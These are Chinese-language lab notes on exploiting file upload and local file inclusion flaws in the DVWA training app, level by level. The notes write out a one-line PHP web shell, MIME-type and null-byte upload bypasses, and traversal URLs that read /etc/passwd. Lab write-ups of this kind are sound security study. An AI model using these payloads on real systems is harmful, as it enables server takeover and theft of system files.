文件上传漏洞修复
1. 文件mime 类型过滤
2. 文件大小过滤
3. 文件类型过滤
4. 获取图像信息检测
使用dvwa 测试
1. low级别 没有做过滤可以直接上传php文件。
2. 在medium 级别对上传文件的mine 类型进行了白名单过滤,我们可以通过brupsuite 改包实现上传
修改数据包Content-Type: application/x-php 为 Content-Type: image/jpeg
3. 在 high 级别中 增加了,类型检测,getimagesize获取图像信息检测
php5.4 以下 可以使用文件名 1.php%00.jpg 进行绕过
php5.4 以上 需要配置文件包含漏洞进行渗透
方法一:
绕过方式,在图片文件后面 追加 恶意代码
由于无法使用菜刀等,一般该级别可以使用php的 system 函数
<?php @system($_POST[caibao])?> # 该命令需要使用post 提交数据
上传之后需要找到文件保存的绝对路径,以及存在的 文件包含漏洞
方法二:
使用GIF98A 放在文件首行,声明该文件是图片格式
文件包含漏洞
文件包含漏洞是由于php调用本地文件产生的
low 级别 未设置过滤,可使用file 查看系统任意文件
使用 相对路径获取数据
http://192.168.140.131/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd
使用绝对路径获取数据
http://192.168.140.131/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
medium 级别对url 已经 相对路径做了过滤,可以使用file 协议进行绕过(与low 绝对路径方法相同)
high级别 使用白名单过滤只可以访问include.php 以及file 开头的文件,而file协议刚好也是file开头 即可正常绕过
impossible 级别设置了更严谨的白名单